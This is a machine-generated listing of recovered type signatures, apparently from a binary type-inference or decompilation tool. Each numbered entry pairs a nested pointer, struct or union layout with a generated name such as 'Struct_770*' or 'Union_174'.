441 ptr(struct(0:ptr(struct(0:num8_t,229376:num32_t,233464:union(num32_t,ptr(struct(0:reg16_t,2:num8_t))))),8:code_t,12:code_t)) "Struct_770*"
442 ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(TOP),4:reg32_t,8:reg32_t,12:num8_t,16:reg32_t)))) "StructFrag_138*"
443 ptr(struct(0:reg32_t,4:ptr(reg32_t))) "StructFrag_139*"
444 ptr(struct(0:ptr(struct(0:array(reg8_t,233464),233464:reg32_t)),4:ptr(struct(0:ptr(TOP),4:reg32_t,8:reg32_t,12:num8_t,16:reg32_t)),8:code_t)) "Struct_234*"
242 ptr(ptr(TOP)) "LPVOID*"
445 ptr(struct(0:ptr(struct(0:reg32_t,4:ptr(TOP))),8:ptr(TOP),12:reg32_t,16:reg32_t)) "Struct_825*"
446 union(ptr(struct(0:reg64_t,8:ptr(TOP))),ptr(struct(0:ptr(struct(0:reg32_t,4:ptr(TOP))),8:ptr(TOP),12:reg32_t,16:reg32_t))) "Union_219"
447 ptr(ptr(struct(0:reg32_t,4:ptr(TOP)))) "StructFrag_96**"
448 union(ptr(struct(4:ptr(ptr(struct(0:reg64_t,8:code_t))),76:reg32_t)),ptr(struct(4:ptr(ptr(struct(0:reg64_t,8:code_t))),12:ptr(struct(20:ptr(TOP),24:reg32_t)),36:reg32_t)),ptr(struct(4:ptr(ptr(struct(0:reg64_t,8:code_t))),12:ptr(struct(20:ptr(TOP),24:reg32_t)),44:reg32_t,48:reg32_t,52:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:reg32_t)),ptr(struct(0:array(reg8_t,2344),2344:num8_t))) "Union_109"
449 ptr(struct(4:ptr(ptr(struct(0:reg64_t,8:code_t))),76:reg32_t)) "Struct_283*"
450 ptr(struct(4:ptr(ptr(struct(0:reg64_t,8:code_t))),12:ptr(struct(20:ptr(TOP),24:reg32_t)),44:reg32_t,48:reg32_t,52:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:reg32_t)) "Struct_340*"
451 union(num32_t,ptr(ptr(struct(0:reg64_t,8:code_t)))) "Union_110"
452 ptr(struct(4:ptr(ptr(struct(0:reg32_t,4:code_t))),8:reg32_t)) "Struct_526*"
453 ptr(struct(0:array(reg8_t,76),76:reg32_t)) "StructFrag_141*"
454 ptr(struct(4:ptr(ptr(struct(0:reg32_t,4:code_t))),92:ptr(TOP),8828:ptr(TOP))) "Struct_288*"
455 ptr(struct(0:array(reg8_t,8828),8828:ptr(reg32_t))) "StructFrag_142*"
456 ptr(struct(4:ptr(ptr(struct(0:reg64_t,8:code_t))),8:reg32_t,16:int32_t,20:int32_t,76:reg32_t)) "Struct_525*"
457 ptr(struct(4:ptr(ptr(struct(0:reg64_t,8:code_t))),44:reg32_t)) "Struct_289*"
458 ptr(struct(4:ptr(ptr(struct(0:reg64_t,8:code_t))),12:ptr(struct(20:ptr(TOP),24:reg32_t)),36:reg32_t)) "Struct_286*"
459 ptr(struct(0:array(reg8_t,2344),2344:num8_t)) "StructFrag_181*"
166 ptr(code_t) "(dword,dword,dword,char,dword,dword,dword,dword -> dword)**"
460 ptr(struct(0:array(reg8_t,520),520:reg32_t)) "StructFrag_182*"
461 ptr(ptr(reg32_t)) "dword[]*"
462 union(ptr(ptr(reg32_t)),ptr(struct(0:ptr(TOP),4:code_t))) "Union_164"
308 ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),40:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),44:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))))) "Struct_727*"
463 union(ptr(reg32_t),ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),40:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),44:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP)))))) "Union_165"
464 ptr(struct(4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP))) "Struct_16*"
465 struct(4:ptr(array(reg8_t,20)),8:ptr(array(reg8_t,20)),12:ptr(array(reg8_t,20)),16:ptr(array(reg8_t,20))) "Struct_16"
466 union(ptr(struct(4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP))),ptr(ptr(struct(4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP))))) "Union_220"
467 union(ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP))))))),ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))),ptr(struct(0:ptr(TOP),4:code_t))) "Union_191"
468 ptr(struct(16:ptr(TOP),20:code_t)) "Struct_744*"
469 union(ptr(ptr(reg32_t)),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP))))))),ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),4:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP)))))))) "Union_175"
470 union(ptr(ptr(reg32_t)),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP))))))),ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))),ptr(struct(0:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),4:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP)))))))) "Union_173"
471 union(code_t,ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),ptr(TOP),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(reg16_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(24:ptr(TOP),28:ptr(TOP),32:reg32_t)),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(0:ptr(struct(396:ptr(ptr(TOP)),412:ptr(struct(0:ptr(array(reg8_t,32)),4:code_t)))),4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,3432),3432:num8_t)),4:num32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)),ptr(ptr(struct(20:code_t,28:code_t,32:code_t))),ptr(struct(0:ptr(struct(20:code_t,28:code_t,32:code_t)),4:ptr(num8_t),8:reg32_t,12:ptr(struct(0:ptr(code_t),4:ptr(struct(0:ptr(reg8_t),4:num32_t,8:ptr(reg8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(reg8_t))),8:ptr(struct(0:array(reg8_t,396),396:ptr(ptr(TOP)))),12:ptr(ptr(array(reg8_t,36))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:uint32_t,300:reg32_t)),36:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,56:reg32_t,60:reg32_t,76:reg32_t,84:reg32_t,88:reg32_t,92:reg32_t)),ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:reg32_t,12:ptr(struct(0:ptr(code_t),4:reg32_t,8:union(code_t,ptr(num8_t),ptr(struct(0:ptr(TOP),4:reg32_t,8:ptr(TOP),12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:ptr(TOP))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:ptr(TOP))),ptr(reg32_t),ptr(ptr(reg64_t)),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:reg32_t,40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),ptr(struct(0:ptr(TOP),88:ptr(TOP))),ptr(ptr(array(reg8_t,92)))),12:union(ptr(struct(0:array(reg8_t,88),88:ptr(TOP))),ptr(struct(0:ptr(TOP),88:ptr(TOP)))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:union(code_t,ptr(num8_t),ptr(struct(0:ptr(TOP),4:reg32_t,8:ptr(TOP),12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:ptr(TOP))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:ptr(TOP))),ptr(reg32_t),ptr(ptr(reg64_t)),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:reg32_t,40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),ptr(struct(0:ptr(TOP),88:ptr(TOP))),ptr(ptr(array(reg8_t,92)))),300:reg32_t)),36:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,56:reg32_t,60:reg32_t,76:reg32_t,84:reg32_t,88:reg32_t,92:ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(ptr(TOP)),4:ptr(reg8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(array(reg8_t,28)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),80:reg16_t)))),ptr(struct(0:ptr(struct(0:array(reg8_t,396),396:ptr(ptr(array(reg8_t,40))))),4:num32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,56:reg32_t)),ptr(struct(4:ptr(num8_t),8:reg32_t,12:ptr(ptr(ptr(TOP))),76:ptr(struct(12:ptr(struct(4:reg32_t,24:ptr(TOP))),16:ptr(TOP),24:reg32_t)),80:reg16_t))) "Union_174"
472 union(ptr(ptr(reg32_t)),ptr(ptr(struct(4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP)))),ptr(ptr(struct(36:ptr(TOP),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP))))))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP))))))),ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))),ptr(struct(0:ptr(TOP),4:code_t)),ptr(struct(0:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),4:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))))),ptr(struct(0:union(ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t)))),4:union(ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))))))) "Union_198"
473 union(code_t,ptr(reg32_t),ptr(struct(36:ptr(TOP),40:ptr(TOP),44:ptr(TOP)))) "Union_195"
474 union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:array(reg8_t,48),48:ptr(TOP))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t))))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(12:reg32_t,16:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(TOP),48:ptr(ptr(TOP)))),ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:code_t,44:code_t,48:ptr(ptr(struct(0:reg32_t,4:code_t))))),ptr(struct(0:array(reg8_t,18776),18776:array(reg8_t,18780))),ptr(struct(76:ptr(struct(0:array(reg8_t,16),16:ptr(TOP))),92:ptr(TOP)))) "Union_193"
475 ptr(struct(0:ptr(struct(36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),4:code_t)) "Struct_294*"
476 union(ptr(reg16_t),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(0:array(reg8_t,18776),18776:array(reg8_t,18780))),ptr(struct(0:array(reg8_t,144),144:ptr(ptr(struct(4:ptr(TOP),8:reg32_t,12:ptr(TOP),16:ptr(TOP),28:reg32_t,32:reg32_t,44:reg32_t)))))) "Union_222"
477 union(ptr(ptr(reg32_t)),ptr(struct(0:ptr(struct(12:reg32_t,16:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(TOP))),4:ptr(TOP)))) "Union_223"
478 ptr(struct(0:ptr(struct(12:reg32_t,16:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(TOP))),4:ptr(TOP))) "Struct_773*"
479 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),ptr(TOP),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_118"
480 ptr(array(reg8_t,76)) "unknown_608*"
481 ptr(array(reg8_t,260)) "unknown_2080*"
482 union(ptr(ptr(reg32_t)),ptr(ptr(struct(4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP))))) "Union_196"
483 union(ptr(reg32_t),ptr(struct(4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP)))) "Union_197"
49 union(ptr(num8_t),uint32_t) "Union_201"
484 ptr(ptr(ptr(reg32_t))) "dword[][]*"
485 ptr(struct(0:ptr(num8_t),12:ptr(reg32_t))) "Struct_748*"
486 array(reg8_t,8190) "unknown_65520"
487 ptr(struct(4:reg32_t,12:ptr(struct(4:reg32_t,28:ptr(TOP))),24:reg32_t)) "Struct_388*"
488 union(ptr(num8_t),ptr(struct(0:array(reg8_t,1796),1796:reg32_t))) "Union_203"
489 ptr(reg64_t) "qword*"
490 ptr(struct(12:ptr(struct(0:array(reg8_t,24),24:ptr(TOP))),16:ptr(TOP),24:reg32_t)) "Struct_528*"
491 ptr(struct(12:ptr(struct(0:array(reg8_t,24),24:ptr(reg32_t))),16:ptr(TOP),24:reg32_t)) "Struct_776*"
492 ptr(struct(4:reg32_t,12:ptr(struct(4:reg32_t,24:ptr(TOP))),16:code_t,24:num32_t)) "Struct_742*"
493 ptr(struct(4:ptr(num8_t),8:reg32_t,12:ptr(ptr(ptr(TOP))),76:ptr(struct(12:ptr(struct(4:reg32_t,24:ptr(TOP))),16:ptr(TOP),24:reg32_t)),80:reg16_t)) "Struct_739*"
494 ptr(struct(76:ptr(struct(0:array(reg8_t,16),16:ptr(TOP))),92:ptr(TOP))) "Struct_295*"
495 union(ptr(struct(0:reg64_t,8:reg32_t)),ptr(struct(0:reg32_t,4:reg32_t))) "Union_115"
496 struct(0:ptr(TOP)) "Singleton_0"
497 ptr(struct(4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(ptr(TOP)),4:ptr(reg8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(array(reg8_t,28)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),80:reg16_t)),16:ptr(TOP),20:reg32_t,24:ptr(num8_t))) "Struct_529*"
498 union(ptr(ptr(ptr(TOP))),ptr(num8_t),num32_t) "Union_113"
499 ptr(struct(0:array(reg8_t,16),16:reg32_t)) "StructFrag_25*"
500 union(ptr(struct(0:array(reg8_t,16),16:ptr(TOP))),ptr(struct(0:array(reg8_t,56),56:num8_t)),ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t))) "Union_176"
501 ptr(struct(0:ptr(struct(20:code_t,28:code_t,32:code_t)),4:ptr(num8_t),8:reg32_t,12:ptr(struct(0:ptr(code_t),4:ptr(struct(0:ptr(reg8_t),4:num32_t,8:ptr(reg8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(reg8_t))),8:ptr(struct(0:array(reg8_t,396),396:ptr(ptr(TOP)))),12:ptr(ptr(struct(20:ptr(TOP),28:ptr(TOP),32:ptr(TOP)))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:uint32_t,300:reg32_t)),36:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,56:reg32_t,60:reg32_t,76:reg32_t,84:reg32_t,88:reg32_t,92:reg32_t)) "Struct_400*"
502 union(struct(4:reg32_t,24:reg32_t,28:ptr(array(reg8_t,32))),struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)) "Union_61"
503 ptr(struct(4:reg32_t,12:ptr(struct(4:reg32_t,24:reg32_t,28:ptr(TOP))),16:ptr(TOP),24:reg32_t)) "Struct_142*"
504 ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:reg32_t,12:ptr(struct(0:ptr(code_t),4:reg32_t,8:union(code_t,ptr(num8_t),ptr(struct(0:ptr(reg8_t),4:num32_t,8:ptr(reg8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(reg8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(reg64_t)),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(TOP),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))),ptr(ptr(array(reg8_t,92)))),12:union(ptr(struct(0:array(reg8_t,88),88:ptr(TOP))),ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP)))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:union(code_t,ptr(num8_t),ptr(struct(0:ptr(reg8_t),4:num32_t,8:ptr(reg8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(reg8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(reg64_t)),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(TOP),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))),ptr(ptr(array(reg8_t,92)))),300:reg32_t)),36:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,56:reg32_t,60:reg32_t,76:reg32_t,84:reg32_t,88:reg32_t,92:ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(ptr(TOP)),4:ptr(reg8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(array(reg8_t,28)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),80:reg16_t)))) "Struct_408*"
505 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(num8_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_127"
506 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,24),24:code_t)),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(ptr(struct(0:reg64_t,8:code_t))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(0:union(ptr(struct(0:reg64_t,8:code_t)),ptr(struct(4:code_t,8:code_t))),24:code_t))) "Union_145"
507 ptr(struct(0:reg32_t,4100:reg32_t,4104:reg32_t)) "Struct_780*"
111 union(num32_t,ptr(reg32_t)) "Union_177"
76 ptr(struct(0:reg32_t,4:reg32_t)) "Struct_158*"
508 union(ptr(num8_t),ptr(struct(0:reg16_t,2:reg16_t))) "Union_178"
509 ptr(array(reg8_t,36)) "unknown_288*"
510 ptr(array(reg8_t,24)) "unknown_192*"
511 ptr(ptr(struct(4:ptr(TOP),8:reg32_t,12:ptr(TOP),16:ptr(TOP),28:reg32_t,32:reg32_t,44:reg32_t))) "Struct_193**"
